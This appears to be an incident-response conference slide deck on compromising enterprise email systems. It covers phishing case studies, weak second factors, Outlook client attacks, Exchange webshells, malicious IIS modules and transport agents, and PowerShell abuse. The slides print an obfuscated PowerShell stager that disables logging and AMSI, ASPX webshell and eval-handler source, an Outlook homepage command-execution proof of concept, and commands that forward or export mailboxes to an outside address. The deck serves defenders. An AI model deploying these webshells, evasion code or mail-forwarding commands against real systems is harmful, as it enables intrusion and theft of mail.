You’ve Got Mail!
Enterprise Email Compromise

Case studies and examples are drawn from our experiences and activities working for a variety of customers, and do not represent our work for any one customer or set of customers. In many cases, facts have been changed to obscure the identity of our customers and individuals associated with our customers.
Introductions

Dan Caban

- $whoami
  - Principal Consultant
    - Incident Response & Forensics
  - .CA & .AE
  - 13.5 years in the industry
  - 4 years with Mandiant

@danielcabaniel

linkedin.com/in/dan.caban/
Introductions

Muks Hirani

- $whoami
  - Technical Director
    - Incident Response in the Middle East & Africa
    - .CO.UK & .AE
  - 5.5 years with Mandiant
  - Previous UK Government

@cyberamyntas

linkedin.com/in/cyberamyntas/
Agenda

- Getting Access
- The Second Factor?
- Attack the Client
- Webshells
- IIS Modules and Handlers
- PowerShell, ECP and EWS
Agenda

- Getting Access
- The Second Factor?
- Attack the Client
- Webshells
- IIS Modules and Handlers
- PowerShell, ECP and EWS
Attack Lifecycle

- Initial Compromise
- Establish Foothold
- Escalate Privileges
- Internal Reconnaissance
- Complete Mission

Maintain Presence
Move Laterally
Attack Lifecycle

- Initial Compromise
- Establish Foothold
- Escalate Privileges
- Internal Reconnaissance
- Complete Mission

Maintain Presence → Move Laterally

ALL THE THINGS!
Getting Access
Targeting employees with social engineering tactics and phishing is still incredibly effective.

- **Low/Medium success:**
  - Masquerading Domains
  - Confusingly Similar
  - gTLD or INTL TLD variants
  - Security Alerts

- **High success:**
  - Abuse of trust from trusted suppliers and internally.
GETTING ACCESS: Social Engineering
Since at least 2014, an Iranian threat group tracked by FireEye as APT34 has conducted reconnaissance aligned with the strategic interests of Iran.

- APT34 conducts operations primarily in the Middle East, targeting financial, government, energy, chemical, telecommunications and other industries.

- APT34 uses a mix of public and non-public tools and often uses compromised accounts to conduct spear-phishing operations.

- APT34 often leverages social media to perform initial reconnaissance and targeting.
GETTING ACCESS: A Case Study in APT 34

- Later:
  - Evidence of staged .RAR/.PNG files on Exchange servers
    - 206 HTTP (Download manager)
  - Evidence of reading the email of IT security
GETTING ACCESS: Social Engineering

If($PSVerSIONTaBle.PSVersiOn.MAjOR -GE 3){$GPS=[rEf].ASSEmbLy.GetTypE('System.Managem ent.Automation.Utils')."GETFiE`LD"('cachedGroupPoli cySettings', 'N'+'onPublic,Static').GEtVALUe($NUlL);If($GPS['ScriptB'+'lockLogging']){$GPS[ 'ScriptBlockLogging']['EnableScriptBlockLoggin g'] = 0; $GPS['ScriptB ' + 'lockLogging']['EnableScriptBlockInvocationLoggin g'] = 0}ELse{[SCRIPTBLoCk]."GetFiE`ld"('signatures', 'N'+' onPublic,Static').SEtVALue($nUlL,(New-OBJeCT CollectioNs.GENERIC. HaSHSeT[sTRinG]))}[REf].AsSEmB ly.GetTyPE('System.Management.Automation.AmsiU tils') | %{$_} | %{$_.GETFIELD('amsilnitFailed', 'NonPublic, Static').SEtVALue($NuLL,$truE)}; {[SYstem.NET.SerVIcEP OSInTMaNAgEr]::ExPeCt100COnTINUE=0; $wc=New-OBJeCT SysTEm.NET.WEBCLiEnT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$WC.HEaderS.Add('User-Agent',$u);$WC.Proxy=[SYstEm.NET.WeBREQUeST]::DefaULTWeBProXY;$Wc.PROxY.CrEdentIALS =....
GETTING ACCESS: Reliable Ammunition

One methodology used to ensure a near 100% success rate to avoid suspicion:

- Register a confusingly similar domain name.
  Example:
  - WORLDARABBANK.COM
  - WORLDARABANK.COM
- Setup a “Catch-All” for an emails from third parties destined toward.
- Collect expected emails from third parties, weaponize and resend to the correct address.
GETTING ACCESS: A Case Study #1

Categorized Phish ➔ A few victims ➔ Block, Reset, Delete ➔ Bravo! Case Closed!
GETTING ACCESS: A Case Study #1

- Categorized Phish
- A C-Level on holiday
- Block, Reset, Delete
- Entire Organization
- Bravo! Case Closed!
- Blocked!
GETTING ACCESS: A Case Study #1

Categorized Phish ➔ Categorized Phish ➔ Block, Reset, Delete ➔ Bravo! Case Closed!

A C-Level on holiday ➔ Distribution Group ➔ Entire Organization ➔ Blocked! ➔ Guest Wifi
GETTING ACCESS: A Case Study #1

- 2nd password reset after users reported outbound emails
- 12GB gone over 3 days
GETTING ACCESS: A Case Study #2

- The Red Team successfully collected credentials through a targeted phishing campaign
  - Two users with the same generic “welcome” password set by IT.
  - The same password was found in open source dumped databases.
- Office 365 without 2FA
GETTING ACCESS: A Case Study #2

- 848 accounts with the same password (18%)
- 8 domains, which included subsidiaries
- 22 million email objects
- 4.8TB of email data
- Without considering:
  - Other Office 365 services like OneDrive
  - Web services that share authentication
The Second Factor?
THE SECOND FACTOR? SMS Text Message OTP

- A customer began a project to implement text message OTP for 2FA.
- The OTP was sent to the phone number associated with the user in AD.

*Can you imagine what happened?*
THE SECOND FACTOR? SMS Text Message OTP

- A customer began a project to implement text message OTP for 2FA.
- The OTP was sent to the phone number associated with the user in AD.

Can you imagine what happened?

<table>
<thead>
<tr>
<th>Status</th>
<th>Date</th>
<th>Sender</th>
<th>Message</th>
</tr>
</thead>
<tbody>
<tr>
<td>RECEIVED</td>
<td>03/01/18 - 11:00</td>
<td>16467832XXX</td>
<td>Your pin is: 2123</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>RECEIVED</td>
<td>02/16/18 - 0:40</td>
<td>19142264XXX</td>
<td>5602 is your pin code for PRADEX</td>
</tr>
<tr>
<td>RECEIVED</td>
<td>02/01/18 - 1:25</td>
<td>12092664XXX</td>
<td>7137 is your pin code for [Ma][Y][Nk][]^</td>
</tr>
</tbody>
</table>
THE SECOND FACTOR? Delivered via Email

- A customer implemented MAC address based 2FA for VPN remote access.

  Can you imagine what happened?
THE SECOND FACTOR? Delivered via Email

- A customer implemented MAC address based 2FA for VPN remote access.
  
  *Can you imagine what happened?*

- A customer began a project to implement soft tokens with RSA for 2FA.
  - Attacker has been actively reading the “RSA” email address used for token delivery.
  - Copied the entire “.pst” archive from a compromised server.
  - Attacker had been accessing the RSA Authentication Manager.

  *Can you imagine what happened?*
THE SECOND FACTOR? Third Parties

- “ActiveSync continues to work as it did prior to installing Duo. Duo’s OWA application does not add two-factor authentication to the EWS and ActiveSync endpoints. ActiveSync clients will not see an MFA prompt. We do not recommend exposing the ActiveSync endpoint to external access.”
2nd password reset after report
12GB gone over 3 days
Reset unsuccessful? – ActiveSync
SPAM
Attack the Client
Attack The Client: Client Side

- Vulnerabilities found in Outlook configuration.
  - Patched promptly.
- Issues include:
  - Rules
    - Abuse of rules designed to open a local document.
  - Homepages
    - Abuse of HTML homepages for inboxes.
- Seen in the wild!
Attack The Client: HomePage

- POC

```vbscript
<|---
Sub window_onload()
    Set Application = ViewCtl1.OutlookApplication
    Set objShell = Application.CreateObject("shell.application")
    objShell.ShellExecute "cmd.exe ", "/c calc.exe", ",", 0
    Set objShell = nothing
End Sub
-->
</script>
</head>
<body>
<object classid="clsid:0006F063-0000-0000-C000-000000000046" id="ViewCtl1" data=""></object>
```
Attack The Client: HomePage

- POC
Attack The Client: Add-Ins

**POSTALBOOK / POSTALDOOR**

- An .NET Outlook Add-in backdoor capable of:
  - download
  - upload
  - execute
  - load modular plugins
  - sysinfo

- Creates a hidden folder for messages.
- Creates a rule to move incoming/outgoing messages to hidden folder.
Attack The Client: Add-Ins

POSTALBOOK / POSTALDOOR

- Embedded resource with configuration data XOR’d
  - RSA encryption keys
  - Email beacon addresses.
  - Email beacon format and templates.
- On Launch of Outlook:
  - Uses WMI and Registry settings as beacon details.
  - Beacon is encrypted and embedded as a PNG chunk.
  - PNG is embedded as base64 into HTML email formatted by configuration template.
Attack The Client: Add-Ins

POSTALBOOK / POSTALDOOR

- Adds handler to read all incoming email

IsMailForMe()?
- SMTP References
- Validated md5 bytes

PNG Images?
- Base64 Embedded
- Attach, emts

Decrypt
- Validate Header
- Extract Chunk
- Decrypt Chunk

Profit?
- download
- upload
- Execute, etc.
Attack The Client: Backdoors

0x00FACADE

- A .DLL backdoor capable of:
  - harvesting e-mail
  - uploading
  - downloading
  - execution
- Supports the following e-mail clients:
  - Microsoft Outlook
  - Outlook Express
  - Thunderbird
  - The Bat!

©2018 FireEye
Webshells
Webshells
Webshells: Exchange

- A default Exchange 2013 install:
  - ASPX Files: 584 files in 55 folders
  - DLL Modules (more on this later): 20 Native and 14 Managed

```
C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\ecp\Servers - 5 file(s)
C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\ecp\SMS - 1 file(s)
C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\ecp\Supervision - 2 file(s)
C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\ecp\SupervisoryReview - 3 file(s)
C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\ecp\TeamMailbox - 4 file(s)
C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\ecp\Tools - 1 file(s)
C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\ecp\TransportGlobalSettings - 1 file(s)
C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\ecp\Troubleshooting - 2 file(s)
C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\ecp\UnifiedMessaging - 21 file(s)
C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\ecp\UrlTrace - 2 file(s)
C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\ecp\VDirMgmt - 24 file(s)
C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\Owa\auth - 5 file(s)
C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\Owa\forms\basic - 24 file(s)
C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\Owa\forms\premium - 2 file(s)
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\ecp\auth - 1 file(s)
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth - 7 file(s)
...```
Webshells: The Beginning

```csharp
<%@ Page Language="C#" validateRequest="false" %>
<script runat="server">
protected bool chk(string pass){try{SHA1 sha = new SHA1CryptoServiceProvider();byte[] hash = sha.ComputeHash(Encoding.ASCII.GetBytes(pass));bool res =(BitConverter.ToString(hash).Replace("-", "") == "06038434C6BB0CAFDB6")? true : false;return res;}catch(Exception ex){Label1.Text = ex.Message;return false;}}
protected void Run(object sender, EventArgs e) {
    try{if(chk(pass.Text)){
        Process p = new Process();p.StartInfo.FileName = "c:\windows\system32\cmd.exe";
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.CreateNoWindow = true;string strOutput = null;
p.Start();p.StandardInput.WriteLine(cmd.Text);
p.WaitForExit();p.Close();
    }catch(Exception ex){Label1.Text = ex.Message;}
```
<stry{
    if(Request.Form.Count>0){
        if(Request.Form[914-914]=="8361749"){%>\n            <!--508658152132428172123378242612789591424085822420638330139
                315549453927647825898618549846478%>
        }
        byte[] bJapfYvynnhp1rHJ=System.Convert.FromBase64String("3BbqnucoxB881onBdUl wn6HMbgweAnw0PT3yj+4Ep7x93k
gvKqg9pd8BEFNYm5ePkr1rULFjDrRAS29cXgScM21LizGl10qkh9GcicUXOEujht6DtNwlquRw3zNe+yw/od1Qpxd6xuL
ouVaFQNRz19QuAgmeh5jackyH2xx9RA/Xjzco913E26y+FmZi6GNVxdlPM7DnbvsoEqvP72c9RPdOx....%>
    }
}
byte[] FBVQRnqVuh=System.Convert.FromBase64String("H5Q0M10V+v+zC4HkNaGXP4rvmvMr4DJykk9ALsSp27+hTJgfM
xGZz/A8tVE3233sGX0mF cjF4jDzhIn2zwT eB0PnduaFArozCts+EmeskEDecvD9QVKJzwK/VNPGLyY9/hcIDi1984uuFLZx...

byte[] xoeCyiCxPJLzVTG=Convert.FromBase64String(Request.Form[1434-1427]);
string wuSPxdURsFsp=Request.Form[xoeCyiCxPJLzVTG][6] - 88;
string ShxPrLm1Ng=Request.Form[xoeCyiCxPJLzVTG][1] - 197;
string oIHjutMc=Request.ServerVariables["PATH_TRANSLATED"].Substring(0,Request.ServerVariables["PATH_T
RANSLATED"]).LastIndexOf(\"\")+1+wuSPxdURsFsp;
string MUKuH1HyMTQ=Request.ServerVariables["PATH_TRANSLATED"];%>

for(int dKkbnmycbJPrKj=0; dKkbnmycbJPrKj<FBVQRnqVuh.Length; dKkbnmycbJPrKj++)%>
{xoeCyiCxPJLzVTG[dKkbnmycbJPrKj]xoeCyiCxPJLzVTG.Length};

for(int wKtLRxExru=0; wKtLRxExru<bJapfYvynnhp1rHJ.Length; wKtLRxExru++)%>
{bJapfYvynnhp1rHJ[wKtLRxExru]FBVQRnqVuh[wKtLRxExru]wKtLRxExru}=

if(Request.Form.Count==xoeCyiCxPJLzVTG[43] - 187){System.IO.File.WriteAllBytes(oIHjutMc, bJapfYvynnhp1rHJ);Response.Redirect(wuSPxdURsFsp);}%
else if(Request.Form.Count==xoeCyiCxPJLzVTG[61] - 43)System.IO.File.Delete(oIHjutMc);
else if(Request.Form.Count==xoeCyiCxPJLzVTG[35] + 16&ShxPrLm1Ng.Length>xoeCyiCxPJLzVTG[15] + 934)Sy
stem.IO.File.WriteAllBytes(MUKuH1HyMTQ, Convert.FromBase64String(ShxPrLm1Ng));
else if(Request.Form.Count==xoeCyiCxPJLzVTG[6] - 81)System.IO.File.Delete(MUKuH1HyMTQ);%
}
}catch{%>
Webshells: A recent technique

```javascript
xmlhttp.open('POST', '/owa/auth/logoff.aspx', true);
xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
var chg = 1, i = 0, m = '', s = gbid("username").value.toLowerCase() + "&" + gbid("password").value;
```
Webshells: Dynamic

- **COOKIES** contain encrypted webshell along with key necessary for decryption.
- **POST** data that is intended to be interpreted by final web shell.

```csharp
```

**Compile in Memory**

```csharp
ICodeCompiler loCompiler = new CSharpCodeProvider().CreateCompiler(); CompilerParameters loParameters = new CompilerParameters(); .... // *** Load the resulting assembly into memory loParameters.GenerateInMemory = true; // *** Now compile the whole thing CompilerResults loCompiled = loCompiler.CompileAssemblyFromSource(loParameters, session); / Assembly loAssembly = loCompiled.CompiledAssembly; .... object loObject = loAssembly.CreateInstance("MyNamespace.MyClass"); object[] loCodeParms = new object[3]; loCodeParms[0] = Request; loCodeParms[1] = Response; loCodeParms[2] = e1; .... object loResult = loObject.GetType().InvokeMember("DynamicCode", BindingFlags.InvokeMethod, null, loObject, loCodeParms);```
Webshells: Dynamic

- **COOKIES** contain encrypted webshell along with key necessary for decryption.
- **POST** data that is intended to be interpreted by final web shell.

```csharp
public class MyClass
{
    public void DynamicCode(params object[] Parameters)
    {
        HttpRequest Request = (HttpRequest) Parameters[0];
        HttpResponse Response = (HttpResponse) Parameters[1];
        byte[] key = (byte[]) Parameters[2];
        Random r = new Random();
        Response.ClearContent();
        try {
            string output = "";
            byte[] bytes = Request.BinaryRead(Request.ContentLength);
            bytes = RC4.crypt(key, bytes);
            FileStream fs = File.OpenWrite("c:\PerfLogs\Bandwidth.ps1");
            fs.Seek(0, SeekOrigin.Begin);
            fs.Write(bytes, 0, bytes.Length);
            fs.Flush();
            fs.Close();
            output = "OK";
        } ...
```
Webshells: Dynamic & Signed

- Attacker used a RSA private key that matches the hard-coded 2,048-bit public key, embedded inside the web shell

```csharp
String n = "0TvWBLFriALALHr0T7FE0Cder7jFUjuocg5Nw/0SQ1EhwQ3oij5Exuxo+kD/CDldF8MM/==etc..etc..
RSACryptoServiceProvider RSA = new RSACryptoServiceProvider();
RSAParameters param = new RSAParameters();
param.Modulus = Convert.FromBase64String(n);
```

<table>
<thead>
<tr>
<th>Name</th>
<th>Usage</th>
</tr>
</thead>
<tbody>
<tr>
<td>s</td>
<td>Base64-encoded RSA signature for the source code. It used the RSACryptoServiceProvider::VerifyData and SHA-1 as a hashing algorithm.</td>
</tr>
<tr>
<td>d</td>
<td>Base64 encoded AES128-CBC encrypted .NET source code. Will be executed if the signature in HTTP POST parameter &quot;s&quot; matches.</td>
</tr>
<tr>
<td>p</td>
<td>Thee Base64 encoded parameters supplied to the compiled code, also AES128-CBC encrypted.</td>
</tr>
<tr>
<td>sc</td>
<td>Name of the HTTP(s) cookie to store the file name where the symmetric key is stored.</td>
</tr>
</tbody>
</table>
Webshells: Dynamic & Signed

- Source code
- 2048 bits RSA private key
- GUID

HTTP POST Request

getidtoken.aspx

HTTP Response

- SC cookie set?
  - Yes
    - Generate: AES key (128 bit)
      - GUID (128 bit)
      - Read AES key
        - From file %TEMP%\GUID
      - Decrypt source code via HTTP POST 's' and 'p'
  - No
    - Signed code OK?
      - Yes
        - Compile and execute with 'p' parameters
      - No
          - Decrypt source code via HTTP POST 's' and 'p'
          - Decode code in 'd'

HTTP POST Request
IIS Modules, Handlers, and Transport Agents
Extending IIS
Extending IIS

- GET /webshell.aspx?cmd=whoami
- POST /webshell.aspx
  - cmd=whoami
Extending IIS

- GET /  
- POST /
Extending IIS

- ISAPI Filters in the past
- Managed Modules
  - .NET
  - Inherits ASP.NET privileges (web.config)
- Native Modules
  - C++
  - Admin rights required to register (GUI or AppCmd)
  - Elevated privileges
  - Can access all requests, not just .aspx

Appcmd.exe install module /name:MODULE_NAME /image:PATH_TO_DLL

Source:
Extending IIS: Managed Modules


```xml
<system.webServer>
<handlers>
</handlers>

public void ProcessRequest(HttpContext context)
{
  if (context.Request.Url.AbsolutePath.IndexOf("Auth.aspx") < 0)
      return;
  string str = Common.PathCombine(Path.GetTempPath(), "z0x8dev87292016.tmp");
  if (!File.Exists(str))
      File.WriteAllText(str, "<%@ Page Language="Jscript"%>
          <%eval(Request.Item["HttpHandler2016"],"unsafe");%>");
  IHttpHandler compiledPageInstance = PageParser.GetCompiledPageInstance(context.Request.Url.AbsolutePath, str, context);
  context.Server.Transfer(compiledPageInstance, true);
}
```
Extending IIS: Native Modules

- Exported function: RegisterModule
- HttpParser.dll
  - RGSESSIONID cookie contains base64 encoded & XOR’d command.
    - Execute: cmd$
    - Upload: upload$
    - Download: download$
- HttpModule.dll
  - If 25th known headers in HTTP raw header is "Default-Windows"
    - Execute: rc
    - Upload: uf
    - Download: df
Extending IIS: Transport Agents

- "Transport agents let you install custom software that is created by Microsoft, by third-party vendors, or by your organization, on an Exchange server. This software can then process email messages that pass through the transport pipeline.

- In Microsoft Exchange Server 2013, the transport pipeline is made of the following processes:
  - The Front End Transport service on Client Access servers
  - The Transport service on Mailbox servers
  - The Mailbox Transport service on Mailbox servers
  - The Transport service on Edge Transport servers"
Extending IIS: Transport Agents

XTRANS

- C2 commands and data as encrypted within PDF/JPEG attachments in emails.
  - Highly configurable using encrypted xml config files
  - Complex boolean logic containing and/or/not contains etc on:
    - Attachments
    - Subjects
    - Senders
    - Receivers

```xml
From: <SEND_FROM>
To: <SEND_TO>
Subject: <Random COMMAND_REPLY_SUBJECT>
Content-Type: multipart/mixed;
  boundary="<Random 20 uppercase characters>"

This is a multi-part message in MIME format
--<Random 20 uppercase characters>
Content-Type: image/jpeg; name="<Random COMMAND_REPLY.Attach_NAME>.jpg"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="<Random COMMAND_REPLY.Attach_NAME>.jpg"

<BASE64 data>

--<Random 20 uppercase characters>--
```
# Extending IIS: Transport Agents

## XTRANS

<table>
<thead>
<tr>
<th>Handler</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>logHandler</td>
<td>Writes attachments to disk at the path identified by LOG_OUTPUT.</td>
</tr>
<tr>
<td>blockHandler</td>
<td>Does not manipulate the message but returns a value that could be used by the caller to process a message differently, for example, block the message.</td>
</tr>
<tr>
<td>zipHandler</td>
<td>Write email contents to a ZIP_FILE_NAME with a portion of the file name being randomly generated integer less than 99999.</td>
</tr>
<tr>
<td>commandHandler</td>
<td>Send command to the malware.</td>
</tr>
<tr>
<td>changeSubjectHandler</td>
<td>Changes the subject of an email.</td>
</tr>
<tr>
<td>changeBodyHandler</td>
<td>Replaces the contents of the body of an email message.</td>
</tr>
<tr>
<td>createHandler</td>
<td>Duplicates an email message with the subject changed.</td>
</tr>
<tr>
<td>spamHandler</td>
<td>Sends multiple messages with the subject spam.</td>
</tr>
<tr>
<td>replaceHandler</td>
<td>Replaces attachments with a file located on disk.</td>
</tr>
<tr>
<td>statHandler</td>
<td>Collects the data, sender, recipient, subject, and attachment names into a comma separated list.</td>
</tr>
<tr>
<td>changeToHandler</td>
<td>Changes the recipient in an email message.</td>
</tr>
</tbody>
</table>
Powershell, ECP, and EWS
PS, ECP, and EWS: Forwarders

- **ForwardSmtpAddress**

```
Set-Mailbox -Identity "Poor Bloke" 
  -ForwardingSmtpAddress "dan.caban@protonmail.com"

Get-Mailbox -resultsize unlimited | `
  where {$_.ForwardingSmtpAddress -gt ""} | ` 
  SELECT PrimarySmtpAddress,ForwardingSmtpAddress,Database
```

```
PrimarySmtpAddress              ForwardingSmtpAddress
-----------------------------------------------------------
poor.bloke@mailwhere.com        smtp:dan.caban@protonmail.com
```
PS, ECP, and EWS: Rules

- **ForwardAsAttachmentTo, ForwardTo & RedirectTo**

```powershell
New-InboxRule "Invoice Archiving" -Mailbox "Poor Bloke" -SubjectContainsWords "invoice" -ForwardAsAttachmentTo "dan.caban@protonmail.com"

Get-Mailbox -resultSize unlimited | `   
    foreach { $Mailbox = $_; 
        Get-InboxRule -Mailbox $Mailbox.alias } | `   
        where { ( $_.ForwardAsAttachmentTo -ne $NULL ) `   
                -or ( $_.ForwardTo -ne $NULL ) `   
                -or ( $_.RedirectTo -ne $NULL ) } | `   
        foreach { Get-InboxRule -Mailbox $Mailbox.alias -Identity $_.RuleIdentity | `   
            Format-Table MailboxOwnerID,Name,ForwardAsAttachmentTo,ForwardTo,RedirectTo }
```

<table>
<thead>
<tr>
<th>MailboxOwnerID</th>
<th>Name</th>
<th>ForwardAsAttachmentTo</th>
<th>ForwardTo</th>
<th>RedirectTo</th>
</tr>
</thead>
<tbody>
<tr>
<td>MALWHERE.COM/Users/Poor Bloke Invoice Archiving</td>
<td>{&quot;<a href="mailto:dan.caban@protonmail.com">dan.caban@protonmail.com</a>&quot; [SMTP:<a href="mailto:dan.caban@protonmail.com">dan.caban@protonmail.com</a>]}</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
PS, ECP, and EWS: Exporting

- `New-ManagementRoleAssignment -Role "Mailbox Import Export" -User "dan@malwhere.com"

- `New-MailboxExportRequest -Mailbox poor.bloke -FilePath \MALWHEREMAIL01\PSTS\Email.pst`
PS, ECP, and EWS: e-Discovery

- [https://mail.server.com/ecp/](https://mail.server.com/ecp/)

  new in-place eDiscovery & hold

- Include all content
- Filter based on criteria

**Keywords:**

**Specify start date**

- **2018**
- **June**
- **20**

**Specify end date**

- **2018**
- **June**
- **21**

**From:**

**To/Cc/Bcc:**

**Message types to search:** All message types

**add users...**

If you enter a start date and don’t enter the end date, you can retrieve the latest items each time you restart the search.
PS, ECP, and EWS: e-Discovery

- E-Discovery Feature in Microsoft Exchange that allows for you to search, collect, and hold e-mail across all email accounts.

- Identified email is collected and stored. The default account in all organizations is

  - DiscoverySearchMailbox{d919ba05-46a6-415f-80ad-7e09334bb852}@companyname.com
PS, ECP, and EWS: e-Discovery

- New-MailboxSearch (eDiscovery and Litigation Holds)

```
New-MailboxSearch -Name "Litigation Hold" -TargetMailbox "exchangeadmin@malwhere.com" -SearchQuery "'VPN Access' and PASSWORD' -StatusMailRecipients "exchangeadmin@malwhere.com"
```

PROFIT!
PS, ECP, and EWS: e-Discovery

Percent Complete: 100%

- Started by: [blank]
- Stopped by: N/A
- Start Time: 5/17/2017 7:13:09 AM
- End Time: 5/17/2017 7:37:33 AM
- Size: 701 MB (735,091,744 bytes), Estimated size was: 735091744
- Items: 607, Estimated number of items was: 2514 (Estimates don't exclude duplicates)

Results: [blank] /ou=Exchange Administrative Group/cn=Recipients/cn=DiscoverySearchMailbox (D919BA05-46A6-415f-80

Created by: [blank]

Query: "VPN Access" AND Password
Senders: All
Recipients: All
Start Date: 12/31/2016 9:00:00 PM, +3
End Date: Blank
Message Types: All
Logging: Basic
Exclude Duplicate Messages: True
Email Notification: None
Sources: (2870)
Attack Lifecycle

Initial Compromise → Establish Foothold → Escalate Privileges → Internal Reconnaissance → Complete Mission → Maintain Presence → Move Laterally
Thank you!

Q&A